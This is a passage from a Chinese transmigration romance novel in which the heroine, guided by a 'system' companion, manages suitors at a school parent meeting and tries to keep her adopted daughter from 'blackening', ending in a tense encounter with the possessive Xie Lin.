说:“林先生,你的女儿知道你是这样的人吗?” 明明有家室了,却还来纠缠别的女人。 听她提起女儿乐柠, 林松齐微微一怔,面色顿时沉了下来。他身体僵硬,再也动弹不得。 姜以柔深深地看他一眼,这一眼中饱含警告,随即便转身离开了。 林松齐下意识地伸手想抓住那抹倩影,但最终还是无力地垂下了手。 结果到头来……他连她的名字都不知道。 林松齐有些怅然,眸光暗淡下来。 姜以柔牵着姜渔往教室的方向走去,等到远离了林松齐,周围又没什么人的时候,姜以柔突然顿住脚步。 姜渔心不在焉地跟着她,差点撞在她身上。 姜以柔转身紧盯着便宜闺女,她面上依旧笑得温和,可眸中满是疑惑与探究:“小渔,你怎么了?” “你……是不是认识那个林松齐啊?” 不然怎么一见到他就那么紧张,黑化值还蹭蹭涨? 面对姜以柔的试探,姜渔脸色微变,眼底闪过一丝明显的慌乱。 但她很快就镇定下来,若无其事般说道:“不认识。” 姜以柔挑了挑眉稍,明显是不相信,意味深长地追问道:“真不认识?” 那恶毒女配怎么一见到乐柠她爸就反应如此大?一定有哪里不对! “我们该回教室了。”姜渔绷着小脸,十分僵硬地转移了话题。 之后,无论姜以柔再怎么问,她都抿着唇一言不发,姜以柔也只能放弃逼问她。 然后姜以柔就开始逼问系统666:“小六,帮我查查恶毒女配和女主她爸,看他们之间有没有关系。” 系统666沉默片刻,有些紧张地说道:“我刚才仔仔细细翻了原书的剧情和设定,这俩人完全八竿子打不着啊!” 姜以柔觉得小系统好笨,耐心提点道:“你别光看原著啊,一本书才多少字,能写多少内容,说不定就漏了什么。你不是人工智能吗?直接把他们俩的资料全部调出来查证,一点儿蛛丝马迹都不要放过。” 系统666喏喏地应了一声,又沉默了好一会儿,等他再回来的时候,语气里充满了笃定与自信: “宿主,你肯定是想多了。我刚把他俩能查到的信息全看了一遍,俩人没有任何交集。” 姜以柔微微一怔,喃喃自语道:“难道真是我想多了……” 来不及细想,两人已经走到了教室门口。 姜以柔整理了下繁杂的思绪,再次挂上温婉得体的微笑,款步走进了教室。 姜以柔出现的时候,又引发了一些小骚动。不少人忍不住偷瞄她,一副松了口气的模样。 太好了,大美人终于回来了。能多看一秒都是赚到。 再次看到那张堪称女娲最完美的艺术品的脸,他们仍然有种头晕目眩的感觉。 姜以柔早习惯了这些明里暗里的注视,泰然自若地往自己的位置上走去。 期间,她下意识地瞥了眼方隐年之前的位置,却微微皱起了眉头。 方隐年人呢?难道这么快就走了? 她不动声色地扫视了下周围,依旧没有发现方隐年的身影,只能先回位置上坐好。 姜以柔和姜渔回到教室后没多久,又有人进教室了。 姜以柔以为是方隐年回来了,下意识地抬眸看去,却正对上林松齐深邃复杂的眼眸。 姜以柔立刻轻蔑地移开视线,还隐隐翻了个白眼。 林松齐将她的反应尽收眼底,面上不由扯出一抹苦笑,直到回了位置上,仍然神思不属。 “爸爸,你怎么去了这么久?是遇到什么麻烦了吗?”乐柠小声问道,大眼睛里满是关切。 林松齐这才恍然回神,他默默打量着乖巧可爱的女儿,心里突然涌起深深的愧意。 “没事,都解决了。”林松齐轻柔地抚了抚女儿的发顶,温声安抚道,英俊儒雅的脸庞显出几分宠溺。 乐柠闻言放心地笑了笑,没心没肺地继续听老师讲话。 林松齐深深地看了女儿一眼,他心底莫名烦乱,想要克制,终究还是忍不住冲动,再次回头朝姜以柔看去。 这次,他没能跟姜以柔对上视线,反而对上了另一双凌厉而阴沉的眼眸。 林松齐微微一怔,那是……她的女儿,那个叫姜渔的女孩。 姜渔直勾勾地瞪着林松齐,缓缓冲他勾起一个冰冷的笑容,眼底的警告之色快要溢出来。 林松齐面色微凛,只觉得这女孩的眼神格外刺人。 他只得无奈地转过头,不敢再看那张令他心魂皆颤,又莫名熟悉的美丽脸庞。 家长会继续进行,很快就到了最后一个阶段——私人一对一时间。 圣维尔学院作为全国最顶尖的私立中学,自然会为家长提供最完善的服务,每次都会留出很长一段时间,让家长跟老师一对一交流孩子的问题。 去年的家长会时,班里的家长不是跟各科老师单独了解孩子的学习情况,就是到处跟认识的家长寒暄。甚至有几位家长当场敲定了一份合作方案。 所以,圣维尔的家长会,倒更像是上流社会名利场的缩影。 不过这一次的家长会,没人有心思寒暄交际了,所有人的目光都被一个人吸引走了。 美人如花隔云端,此时却跟他们共处同一空间,这恐怕是他们离她最近的一次,怎能不让人激动呢? 姜以柔本打算直接带姜渔回家,谁知一个没注意就被层层包围了。 林松齐原本也想凑上前跟她说些什么,可他瞥了眼身旁的女儿,终究忍下了这股冲动。 恰好此时,他接到了一个工作电话,有点事情急需他去处理,林松齐便带着女儿先行离开了。 走之前,林松齐脚步微顿,偷偷回头看了姜以柔一眼,面色十分复杂。 他懊恼地揉了揉眉心,似乎苦恼于对她的熟悉感从何而来。 最终,他还是什么都没能想起来,无奈地离开了。 此时此刻,热情地围住姜以柔的大多是女性。 毕竟这里的男人基本都有家室了,甚至他们的老婆孩子都跟在身边,不管他们看见姜以柔后心里想了些什么,但却不会表现出来。 有身份的人一般都要脸。 当然,也有些格外不要脸的男人。 一个中年秃顶、大腹便便的男人,不顾自己的儿子就在旁边,居然腆着脸问姜以柔要电话号码。 对此,姜以柔轻轻挽起耳边的碎发,笑得温柔而和煦,红唇张合吐出一个字:“滚。” 此话一出,周围的人都傻了。 在他们眼里,姜以柔拥有极致的美貌,也极致的柔弱温婉,是那样的惹人怜惜。 可是……这样一位天仙般美得如梦似幻的人,居然骂了声“滚”,这简直有种割裂感。 被这般毫不留情地当众辱骂,那名秃头男羞愤地涨红了脸。 姜以柔甚至懒得看他一眼,她唇角依旧带笑,那笑意却不达眼底。 之后,但凡有已婚男想凑上来的,都被姜以柔毫不留情地讽刺了一番。 经过这么一遭,好几个跃跃欲试想要搭讪的已婚男人,都默默地退开了。 他们还算要脸。 相比之下,女人们就没什么顾虑了。 她们热情地围在姜以柔身边,激动地你一言我一语,说什么的都有。 “哎呀,大美女,有没有兴趣进娱乐圈啊?我娘家开娱乐公司的,你要是愿意,绝对能把你捧红!” “妹啊,我看你合眼缘,给个联系方式,下回一起出来喝茶。” “姜小姐,这是我的名片,如果您有兴趣做模特的话,可以联系我。” …… 很多女人热情地围着姜以柔,她们各有目的,甚至还有人打听姜以柔的婚姻状况,话里话外都暗示可以给她介绍个好男人。 这些人究竟是真的想跟姜以柔做朋友,还是将貌美的她当成了一种潜在资源,姜以柔不得而知。 她客气地回应着这些热情,回答问题滴水不漏,愣是没泄露自己的真实情况,让人看不清摸不透。 就在这时,有人硬是挤进了进来,强势地站到了姜以柔面前。 姜以柔眼皮轻撩,默默地打量着眼前的男人。 长得很不起眼,面上带笑,看着很和善的模样,眼睛里却闪着精光。 姜以柔一看就知道,这个人很不好招惹。 果然,男人一凑过来,周围的女人们神情一变,显出几分忌惮,有的甚至还谨慎地退了几步。 要知道这些贵妇人都挺爱说笑的,刚才还一齐调笑某位要姜以柔联系方式的老总不知羞,半真半假地威胁说要告诉他夫人,直把那位老总臊得落荒而逃。 但现在,她们在面对这个男人时,却有种大气不敢出的忌惮。 姜以柔不由得在心里叹了口气,预感到麻烦要来了。 “这位小姐,认识一下吧,我叫魏峰。”魏峰言笑晏晏,朝她伸出一只手掌。 姜以柔虽然猜到了他不好惹,但也没有跟他虚与委蛇的想法。 她向来不爱委屈自己。 所以,她只是淡淡地瞥了魏峰一眼,随即拉上了姜渔的手,转头对其他人笑着道:“各位,我们还有事,就先回去了。” 女人们面面相觑,表情有些古怪,似乎不敢相信姜以柔如此不给魏峰面子。 魏峰这个人不但有钱有势,关键是有一些见不得光的,极为危险的势力,他行事又素来狠辣,所以大多数人不太敢得罪他。 此时,见姜以柔无视他,魏峰倒也不生气,只不依不饶地堵在她面前,他脸上笑眯眯的,眼睛却一直盯着姜以柔的脸,似乎打定主意要纠缠她。 姜渔的脸色越来越黑,她警惕地瞪着魏峰,眼里全是厌恶,心中却升起难以遏制的惶恐。 她就知道,她不该让姜以柔来这个破家长会的…… 这所学校里的学生和他们的家长,有一个算一个都不是好东西! 魏峰寸步不让,黏腻强势的视线牢牢盯着姜以柔。 周围人见此,不由得露出几分同情之色。 这么美的女子,难道要落在魏峰的手里吗?他们倒是有心英雄救美,可想到魏峰的手段,又踌躇了。 就在这时,“笃笃笃——” 清晰的敲门声响起,不疾不徐,很是从容。 众人下意识地循声望去,看到了一个意料之外的人物。 “方总?!”有人忍不住惊呼出声。 刚才,方隐年在家长会中途接了个电话,便匆匆离开了,没想到他竟然又折返回来了。 所有人的目光都忍不住落在他身上,带着浓浓的疑惑。 方隐年单手插兜,另一只手敲了敲门,骨节清晰分明。 他漆黑的凤眸漫不经心地略过在场诸人,最后落到姜以柔身上。 方隐年面上没什么表情,依旧那副泰山崩于前而面不改色的淡然,仿佛在场所有人都入不得他的眼,只除了一个人。 “我送你回去。”方隐年直直地看向姜以柔,嗓音醇厚而平稳。 闻言,众人心中一震,不敢置信的目光在方隐年和姜以柔之间来回打量。 姜以柔展颜一笑,款步朝他走去。 旁边,魏峰脸色微变,下意识地仍想拦她,但看到不远处的方隐年,又硬生生止住了动作。 他眼睁睁看着那道窈窕的身影走向方隐年,心中充满了不甘。 终于,他忍不住出声问道:“方总,您……认识这位小姐?” 魏峰还存着一丝侥幸——万一方隐年只是顺路送人回去,对她没别的意思呢? 毕竟方隐年都当了这么多年和尚了,哪怕这女人再漂亮,也不一定能勾得他动凡心吧? 然而,魏峰注定要失望了。 姜以柔施施然走到方隐年身边,竟直接挽住了他的手臂,整个人亲昵地贴在了他身上。 姜以柔故意露出一个甜蜜的笑容,柔声道: “我们俩……可不止是认识呢。” 方隐年身形微顿,他微微垂首,凤眸轻睨着姜以柔,幽深的眸中意味莫名。 第44章 “我们俩……可不止是认识呢。” 姜以柔嗓音柔媚, 尾音拖着一缕若有似无的钩子,同时手臂自然地挽上了方隐年的臂弯。 这模棱两可的暧昧话语和突如其来的亲密接触,无一不昭示着两人之间非同寻常的关系。 “隐年, 我们走吧。”她微微仰起脸看向他,笑容明媚,眼波流转间仿佛盛满了细碎的星光, 又带着全然的依赖, 宛若一株找到了攀附支柱的菟丝花。 方隐年垂眸,静静地凝视着她。那双凤眸深邃如古井寒潭, 面上看不出丝毫情绪,让人难以窥探他心底半分波澜。 下一秒,他却突然有了动作——骨节分明的手掌精准地扣住了姜以柔挽在他臂弯的手腕, 缓慢却不容置疑地将她的手扯了下来。 这突如其来的拒绝让周遭空气瞬间凝固。 所有人都屏住了呼吸, 魏峰更是眼前一亮。 难道方隐年要当众“打假”两人的关系? 姜以柔脸上的笑容顿时一僵,瞪向他的目光变得十分不善。 方隐年对她的不满恍若未觉。在扯下她的手之后,他面无表情地继续动作—— 他长臂一揽,轻轻握住了她的肩膀, 然后以一种近乎强硬的力道用力一箍, 姜以柔脚下稍一踉跄,整个人便跌进了他怀中。 他掌心灼热的温度透过薄薄的衣料烙印在她肌肤上,烫得姜以柔微微一颤。 方隐年顶着一张最清心寡欲的脸, 搂姜以柔的动作倒是毫不含糊,干脆利落, 又透着无声的强势。 姜以柔猝不及防跌入那带着清冽檀香气息的怀抱, 罕见地怔愣了一下,她下意识地抬头,正撞进他幽黑深邃的眼眸。 随即, 她反应过来,眼底迅速掠过一丝笑意。 哼,算他识相。 她从善如流地放松身体,柔弱无骨地倚靠在他坚实温热的胸膛上,乖巧而顺从。 方隐年的这个动作,无疑是承认了他们之间的关系。 方隐年就这样揽着她,淡漠的目光如同实质般缓缓扫过全场,那眼神里并无明显的怒意,却带着一种居高临下的威压,每一个触到他目光的人,都不由自主地心生怯意,纷纷避让低头。 尤其是先前那些目光放肆的男人。 最后,方隐年漫不经心地看向面如土色的魏峰,他什么都没说,只是那双凉薄而睥睨的凤眸微微眯起,便已是无声的警告。 魏峰脸色铁青,望向姜以柔的目光里有不甘也有迟疑,但最终,他默默地后退一步,冲方隐年露出一个难看至极的笑容。 草,他认输了。 谁他妈敢跟你方隐年抢女人啊。 其他人也心情复杂地看着这对相拥的男女,面上虽然不显,但心里却在骂骂咧咧。 靠,方隐年你特么说好的信佛呢? 你对得起你的佛祖吗?! 他们眼巴巴地看着风华绝代的美人,忍不住扼腕叹息。 唉,恨明月高悬,却被他人独揽怀中。 他们也只能庆幸自己曾接住过一抹洒落的月光。 姜以柔惬意地靠在那宽厚可靠的胸膛里,感受着传来的温热与力量,笑得像只餍足的猫。她冲姜渔招了招手,语气慵懒:“小渔,过来,我们回家了。” 一直沉默注视着这一切的姜渔,目光在他们紧密相贴的身体上停留片刻,抿了抿唇,默不作声地跟了上去。 姜以柔早就想离开这是非之地,方才苦于被众人纠缠难以脱身。此刻方隐年一来,所有障碍顷刻间荡然无存。 转身走出教室的时候,姜以柔抬眸看了眼方隐年冷峻的侧脸。 哪怕已经离开众人的视线,他依旧揽着她的肩膀,而她也没有挣脱的想法。 姜以柔靠在那宽厚结实的胸口,感慨地对系统666说道:“小六啊,现在你总该知道,为什么我一心要找个有钱有势而且帅的老公了吧?” 没钱没势怎么护得住她呢? 然而,系统666幽怨的声音传来:“宿主,别想着找老公了,我必须提醒你,就在刚才,女配姜渔的黑化值加了5%,目前50%!” 姜以柔:“……” 姜以柔的笑容僵住了。 姜以柔立刻扭头去看便宜闺女,就见她死死咬着嘴唇,恨恨地盯着方隐年揽住她的那只手,都快盯出个洞来了。 姜以柔脑子转得飞快,当机立断挣脱了方隐年的怀抱。 方隐年微微一怔,一时有些意外,蹙眉望向她,幽黑的凤眸中带着探究之意。 姜以柔却根本不看他,反而一把拽过便宜闺女,亲亲热热地挽住她的手臂,柔声道: “小渔,你千万别误会,我跟你方叔叔没什么的。”姜以柔面色微肃,认真地解释道。 姜渔低着头不说话,也不去看她,姜以柔看不见她的表情,心里有点烦躁,继续软着声音强调道: “你方叔叔只是人好,帮我应付那些纠缠的人而已,实际上我们什么关系都没有。” 旁边,方隐年静静地听着,他微不可察地扯了扯眉梢,眼底闪过一丝古怪之色。 他……只是人好? 方隐年深吸一口气,他双臂环胸,静静地睨着姜以柔,看她还打算说些什么。 姜以柔温声细语地解释着,话里话外都在撇清两人的关系。终于,姜渔抬眸瞥了她一眼,又飞快地扭头,低声道:“随便你跟谁在一起,我又管不着。” 她声音冷淡,语气里却是不易察觉的委屈。 姜以柔无奈地轻笑,温柔地揉了揉她的脑袋,说:“你是我的女儿,怎么会管不着呢?” “放心,妈妈有你就够了,不会再去找男人的。”姜以柔斩钉截铁地说道。 情真意切得差点连她自己都信了。 姜渔眼神微动,迟疑地问道:“真的?” 姜以柔连忙点头,满眼真诚地说道:“当然是真的。” 她本就长得极美,现在睁着一双潋滟含情目,深深地看着姜渔,用最温柔的声音许下承诺。 被她这样深情注视着的人,不可能怀疑她的真心。 姜渔怔怔地看着她许久,神情肉眼可见地放松了许多。 旁边,方隐年凤眸微眯,意味深长地睨了眼姜以柔。 骗子。 他在心里默默道。 姜以柔连个眼风都没给方隐年,只紧紧盯着便宜闺女。 终于,666欢天喜地的声音随即响起:“啊啊啊!女配黑化值减10%,目前40%!” 姜以柔总算悄悄松了口气。 她盯着姜渔苍白的小脸,颇有些郁闷地磨了磨牙。 向来只有别人绞尽脑汁讨她欢心,她前后两辈子,从没对人如此上心过! 这便宜闺女可真磨人啊…… 姜渔抬头看了她许久,有些别扭地低声道:“其实,我不在乎你跟谁谈恋爱。只要……” “别再丢下我就好。”姜渔垂着眼眸不敢看她,声音越来越低,几乎听不见。 姜以柔闻言微微一怔,望向她的眼神里多了几分复杂。 “傻孩子。”她失笑地捏了捏她的脸。 她牵起便宜闺女的手,转身笑着对方隐年道:“方总,我们走吧。” 方隐年全程沉默,此时也只是淡淡地瞥她一眼,并没有多说什么。 方家的车早已在此等候,司机本想为他们拉开车门,却发现有人先他一步。 方隐年握住车把,用力时手背青筋微凸,打开了车门。 他下颌微扬,示意姜以柔上车。 明明是服务型的动作,他做起来却没有丝毫讨好感,反而有种从容不迫的矜贵。 姜以柔也不客气,径直上了车,甚至连个“谢谢”都懒得说。 倒是司机有点震惊,因为他从没见过方总给人开车门。不过,当他偷偷瞥了眼姜以柔的脸后,一切疑惑都得到了解答。 看来方总也是英雄难过美人关啊! 车子平稳驶离圣维尔学院,他们三个人都坐在后排,姜以柔坐在女儿和方隐年的中间。 路程中,姜渔一直在偷瞄方隐年,小眼神有点鬼祟,又有点警惕,像是初生的小兽。 她可以接受姜以柔跟这个男人谈恋爱,但是她必须确认,这个男人是可以托付的良人。 方隐年察觉到了这份打量,他只微微阖上眸子,并未理会。 姜以柔也发现了姜渔的异样,她以为姜渔仍在害怕她跟方隐年在一起,便继续给她吃定心丸。 “小渔,你还不知道吧?你方叔叔可是信佛的呢。”姜以柔温声说道。 是的,他信佛,他是个和尚,他清心寡欲,所以我们不会在一起的,你大可以放心,千万不要再黑化了! “信佛?”姜渔眼神微动,若有所思地盯着方隐年。 方隐年缓缓睁开眸子,斜睨着身旁笑靥如花的女人,那眼神沉静而理智,仿佛她正在谈论的不是他一般。 姜以柔丝毫不顾正主就在旁边,跟便宜闺女反复强调道: “是呀,人家一心向佛,最清心寡欲不过了。”姜以柔循循善诱道。 在她的口中,方隐年简直成了圣人,已经脱离了低级趣味,剥离了七情六欲,不可能对任何女人动心。 旁边,方隐年听得眼皮一跳,却沉默着什么都没说。 姜以柔紧接着提起他腕上的那串菩提:“他还一直带着佛珠呢,就在他的左手上。” 话音落下,她们一齐朝方隐年的左腕上看去。 方隐年长腿交叠,左手就搭在膝盖上,他小臂劲瘦,看起来很有力,连接手臂和手掌的那截腕骨清晰,微凸的青筋更显力量感。 只是那腕上空荡荡的,没有什么菩提珠串。 姜渔疑惑地皱了皱眉,无声地看向姜以柔,似乎对她的话产生了质疑。 姜以柔眨了眨眼睛,盯着方隐年问道:“你的珠子呢?” 方隐年直视前方,眼神都未曾动一下,平静地开口道:“断了。” 姜以柔眼神微闪。 说起来,方隐年那串菩提之所以断掉,跟她还有点关系呢。 “怎么不再买一串?”姜以柔没话找话地问道。 方隐年微微扭头,深深地看了她一眼,狭长的凤眸深如寒潭,让人看不透。 半晌,他转过头,淡声道:“没有必要了。” 菩提是提醒他心静平和的。 从见到姜以柔的那刻起,他的心就注定不可能再静下来。 所以,没有必要了。 方隐年沉默地注视着前方,一切风起云涌都藏在平静的表面下,滴水不漏。 姜以柔扭头盯着他看了好一会儿,略显不爽地撇了撇嘴。 不知道为什么,一看见方隐年这副高深莫测的模样,姜以柔就很不爽。 放在平时,她高低要嘲讽两句,最后亲眼看他冷漠的面具被打碎才爽快。 但今天么…… 姜以柔瞄了眼身侧的便宜闺女,悻悻地抿紧了唇。 车内有很长一段时间的寂静。 就在马上要到姜以柔的家时,意外陡生,车身突然猛地晃动起来。 强烈的失重感袭来,姜以柔险些尖叫出声,只觉得一阵天旋地转。 不知过了多久,车子才慢慢停下来。 原来是前面有两辆车突然相撞,幸亏司机反应及时,猛打方向盘,才避免了追尾的结局。 他们幸运地避开了车祸,又都系了安全带,整体上没什么问题,就是有点被吓到了。 方隐年眉心微蹙,第一时间看向姜以柔,沉声问道:“没事吧?” 姜以柔脸色苍白,美丽的眸子中满是惶恐,甚至被逼出了几分泪意。 方隐年心中一紧,下意识地抬手想要揽住她,但手举到半空,又硬生生停下了。 他克制地收回了手,漆黑的凤眸却紧紧锁在她身上,难掩关切。 “别怕。”方隐年沉声道,温和低缓的嗓音很让人有安全感。 姜以柔闭了闭眼睛,呼吸有些急促。 她上辈子就是因为出车祸丢了命,才穿来这个世界,刚才那一瞬间让她回忆起了那种濒死的恐惧。 姜以柔缓了好一会儿,才气若游丝地说道:“让我下车吧。” 她有点被吓到了,不想再坐车。正好前面就是她家小区了,走回去很方便。 方隐年蹙眉盯着她,目光在她发白的娇颜上流连。 最后,他没说什么,只径自下了车,帮她扶着车门。 姜以柔想下车,可一时间竟有些腿软。 方隐年沉默不语,却干脆利落地俯身,单臂揽住她的腰,稍一用力,便将她从车上抱了下来。 姜以柔靠在方隐年的胸膛上,缓了好一会儿才感觉到双脚的存在。 方隐年并不催她,安静地任她靠着,手掌从她的细腰上,缓缓上移到她的肩头,不太熟练地拍了拍,似乎在安抚她。 姜以柔只顾着沉浸在自己的世界中,却没有注意到,不远处,有一双鹰隼般的眸子死死盯着她与方隐年。 是谢凛。 第45章 姜以柔没骨头似的靠在方隐年的胸膛上, 美丽的脸庞都失了血色,苍白柔弱得仿佛雨打后的娇花,任谁看了都忍不住心生怜意。 纤弱的她被方隐年揽在怀中, 更显得娇小,强烈的体型差碰撞出无声的暧昧。 远远看去,男人高大冷峻, 女人娇柔美丽, 他们看起来是那样的相配。 深深地刺痛了某个人的眼睛。 姜以柔恍惚了好一会儿,才慢慢从上一世的车祸阴影中走出。 她深呼吸几次, 定了定心神,勉强仰头对方隐年扯出一个笑,“谢谢。” 那双潋滟多情的眸子还因为惊惧而盈着朦胧的水光, 仰头看向方隐年时, 更显出惊人的艳色,让人心魂俱颤。 方隐年垂眸睨着她,神色依旧平淡,可喉结却轻轻滚了下, 那双揽在她腰上的手也不自觉一紧再紧, 濒临失控。 就在他呼吸越发灼烫之时,有人猛地推了他一把。 那点力道对高大的方隐年来说聊胜于无,根本无法撼动他结实的身躯, 但他瞥了眼来人后,却主动后退一步, 给她让了个位置。 姜渔猛地冲上前来, 毫不客气地挤开方隐年,一把扶住了姜以柔的肩膀。 她紧张地上下打量着姜以柔,忐忑问道:“你、你怎么样?没受伤吧?” “没事。”姜以柔顺势用力抓紧了姜渔的手, 原本苍白的脸色和缓了一些。 姜渔立刻更加用力地回握她。 姜以柔似乎从她身上汲取了些力量,神色轻快了不少,她扭头冲方隐年笑了笑,温声道:“方总,我们先回去了,谢谢你送我们回来。” 方隐年盯着她看了一会儿,薄唇微动,似乎想说些什么,但眸光略过她身侧的姜渔,只淡声说道:“不客气。” 姜以柔望着他,笑容更灿烂了几分,那张美得近乎神性的脸上,顿时绽放出活色生香的艳色,直晃人眼。 方隐年神情不变,背在身后的左手却蓦地紧了紧。 姜以柔笑着朝他挥了挥手,便径自转身离开了。 她不知道的是,方隐年盯着她的背影看了很久,直到再也看不见她的身影,才回了车上。 司机等方隐年坐定后,恭敬地问道:“方总,我们接下来去哪儿?要回医院陪着少爷吗?” 方隐年揉着眉心的手一滞,终于想起了他的侄子。 镜麒…… 想到方镜麒对姜以柔的爱慕和执著,方隐年眸光微暗。 良久,车上响起一声微不可察的叹息。 * 姜以柔和姜渔下了车后,沉默地往家里走去。 姜以柔是因为开了这么久的家长会实在太累,再加上刚才受了惊吓,根本没心情讲话。 姜渔则一直偷偷瞟着她,皱着眉头满脸关切。她似乎想说些什么,最后还是踌躇着没开口。 在姜以柔即将踏入单元门的时候,她却敏锐地感觉到,有一道存在极强的视线牢牢钉住了她。 像是丛林中锁定了猎物的野兽,带着凌厉而危险的冷意。 姜以柔脚步微滞,下意识地扭头看去,正对上一双狭长阴鸷的黑眸。 姜以柔微微一怔,随即惊讶地抬了抬眉梢——竟然是几天不见的谢凛。 反应过来的那一刻,姜以柔一扫方才的冷淡疲态,她唇角翘起一个雀跃的弧度,眉眼瞬间灵动起来,如同含苞初放的玫瑰,娇艳欲滴,格外诱人。 她转头对着便宜闺女温柔一笑,轻声哄道:“小渔,你先回家,我一会儿再回去。” 姜渔原本正在出神,听到这话,立刻狐疑地盯着她,问道:“你要做什么?” 姜以柔一本正经地答道:“家里没醋了,我去超市买一瓶。” 姜渔不疑有他,她犹豫片刻后,有些别扭地说道:“要不我去买吧,你……回家休息。” 说完,姜渔便紧紧抿起了嘴巴,她似乎很不习惯于直白地表达自己的关心,臊得耳根红通通一片。 如果是平时,姜以柔肯定会主动使唤她跑腿,但现在…… 姜以柔哪里是真的要去买醋啊? 于是,姜以柔面上立刻浮现出感动之色,她轻柔地摸了摸姜渔的脑袋,嗓音清软地说道:“小渔真懂事,知道心疼妈妈……” 姜渔垂着脑袋,任凭她的手掌抚过她的发顶,温热、柔软,还带着股让她忍不住鼻酸的幽香。 但紧接着,姜以柔话锋一转,说道:“不过,妈妈去就行了,你赶紧回家学习去。” 说着,她不容置疑地将姜渔推进楼道,示意她赶紧回家。 姜渔似乎还沉浸在她温柔的抚摸中,整个人恍恍惚惚的,也没再坚持,顺从地进了电梯。 直到目送姜渔坐电梯离开,姜以柔才赶紧转身,朝谢凛刚才所在的地方望去。 结果,那里已然空无一人。 姜以柔有些着急,立刻跑过去查看,嘴里还轻声喊道:“谢凛?谢凛!” 可周围只有小区绿化的花草树木,一个人影都没有。 姜以柔眉头蹙起,恨恨地磨了磨牙。 这狗反派,该不会又丢下她跑了吧?! 姜以柔漫无目的地四下张望,贝齿无意识地轻咬下唇,嗔怒的模样也格外勾人。 直到经过大楼拐角阴影处,一只滚烫有力的大手猛地攫住她的腰肢,天旋地转间,她已被一股不容抗拒的力量狠狠抵在冰冷的墙面与他灼热的胸膛之间。 高大健硕的身躯完全笼罩下来,带着野性气息的热度瞬间将她包裹,那样熟悉而放肆。 谢凛的动作快得像一头蛰伏已久的猎豹,精准而强势,让她像落入爪下的猎物,动弹不得。 当然,她也没想反抗。 自从上次不欢而散,谢凛已经消失了好几天,此刻他的突然出现,让姜以柔雀跃的同时,心底也掠过一丝隐秘的得意。 姜以柔极其自然地伸出双臂,环住那副精瘦有力的腰身。 掌心下的肌肉瞬间绷紧,如钢铁般坚硬,她甚至能感受到那之下压抑的、蓬勃的力量感。 她满意地弯起唇角,在他怀中仰起那张颠倒众生的脸,小巧的下巴抵着他起伏剧烈的胸膛,显得格外乖顺。 “谢凛,”她软声开口,嗓音甜得像浸了蜜,“你不生气啦?” 那语气像是在撒娇示弱,可那双潋滟的眸子里却满是吃定了他会妥协的得意。 似乎很自信,谢凛不管再怎么生气,最后一定会无底线地纵容她。 谢凛将她死死困在方寸之间,脸色冷得像是千年难化的寒冰,下颌线绷得极紧,正如那天被她话语刺伤后决绝离开的模样。 他垂眸,黑沉的视线死死锁住她。怀里这个女人美得像淬了毒的罂粟,明知危险,却让他心甘情愿地沉沦上瘾,一颗心都被她勾走了。 可是……她却根本不想要他的心。 胸腔里传来尖锐的刺痛,谢凛随即想到了方才目睹的那一幕——她被另一个男人揽在怀中。 他眼底积压的戾气瞬间被点燃。 “你……果然去见他了。”谢凛腮侧微鼓,咬着牙一字一句地说道。 他揽住姜以柔腰肢的手猛地一紧,青筋微凸的手陷进软肉中,印出暧昧的指痕,那力道几乎带着惩罚的意味。 姜以柔眨了眨眼,立刻明白他大约是看见了方隐年送她回来的场景。 她迎着他眼中翻涌的黑色风暴,非但不惧,反而理直气壮地解释道:“偶遇而已呀,我可没主动找他。” “偶遇?”谢凛极低地嗤笑一声,嗓音嘶哑,带着明显的讽意。 偶遇需要抱得那么紧吗? 当他亲眼看见姜以柔温顺地靠在另一个男人怀里时,他暴怒地几乎要冲上前将那个男人撕碎,可是…… 他有什么资格? 一种深入骨髓的无力感攫住了他,他双眸猩红,绝望得像一头困兽。 他觉得自己很可笑,只是几天没有见到姜以柔而已,便神思不属。 终于抵不住心里的渴望,走到了她家楼下,却恰好看到她跟别的男人那般亲密。 谢凛的手臂不断收紧,眼底戾气横生,那些被死死压在心底的恶劣念头又开始止不住地翻涌。 是不是只有将她锁起来,她才会只看着他一个人…… 妒火烧灼,几乎将他所有的理智尽数焚毁。 可他偏偏又舍不得伤害姜以柔分毫,理智和情绪的拉扯几乎将他逼疯。 姜以柔却仿佛丝毫未觉他已在失控边缘,或者说,她乐于见他为自己失控。 她微微踮起脚尖,柔软的手臂如水蛇般缠上他的脖颈,主动将柔软起伏的身体贴得更紧,仰起脸呵气如兰:“好啦,别想那些不开心的事了。” 她不想在这个时候提方隐年,她直勾勾地盯着谢凛英俊野性的脸,感受着他身体的滚烫强健,微微红了脸。 “这几天……我好想你。”姜以柔的桃花面上浮现动人的红晕,她轻眯着一双潋滟的水眸,竟然主动仰头,送上了自己的红唇。 那诱人的唇瓣带着蛊惑人心的香气,疯狂撩拨着谢凛紧绷的神经,瞬间点燃他最原始的渴望。 他的身体立刻给出了最诚实而滚烫的反应。 感受到那不容忽视的灼热与坚硬,姜以柔眼底笑意更深,好整以暇地欣赏着他的失控。 她搂着他脖颈的手臂又收紧了几分,几乎将全身重量都挂在他身上。 她闭上眼睛,轻轻地朝谢凛吻去,可下一秒,却没有触到那柔软温热的唇瓣,只印上了冷硬的下颌。 姜以柔诧异地睁开眼。 谢凛任她挂着,却硬生生偏开头,避开了她的吻。 他喉结剧烈地滚动,绷紧的下颌显示出极致的隐忍,目光死死盯着旁边的墙壁,就是不看她。 良久,他嘶哑的嗓音响起,语气分外冷淡:“既然我们什么关系都不是……就别再做这种会让我误会的事。” 姜以柔:“……” 姜以柔不可置信地瞪大了眼睛。 她这是……被拒绝了?! 第46章 谢凛那番话说出口后, 空气瞬间凝固,所有暧昧散得一干二净。 姜以柔难以置信地眨了眨眼,等意识到他说了什么的时候, 直接气笑了。 “谢凛,你什么意思?”她美目微眯,瞬间从缠绵的氛围中抽离, 原本勾缠的手臂改为一把揪住他的衣领, 力道带着恼羞成怒的意味。 “就是你听到的意思。”谢凛终于转回视线,直勾勾地盯着她, 目光却冷寂得像一深不见底的寒潭,不起丝毫波澜。 既然姜以柔不肯跟他确认关系,那就不要再做那种会让他心生妄念的事。 他不要这饮鸩止渴般的亲昵, 也不要…… 被训成一条召之即来挥之即去的狗。 姜以柔气极反笑, 冷艳的目光意有所指地向下扫去,讥诮地说道:“谢凛,你那里还顶着我呢,装什么贞洁烈男?” 谢凛身形一僵, 这才猛地意识到, 他身体反应早已出卖了他。 他狼狈地抿紧唇,像是被烫到一般猛地后退一步,强行拉开了两人之间危险的距离。 他闭上眼, 深吸一口气,再睁开时, 眼底似乎又覆上了一层坚冰, 冷淡又疏离。 “我走了。”他嗓音冷硬,转身欲走。 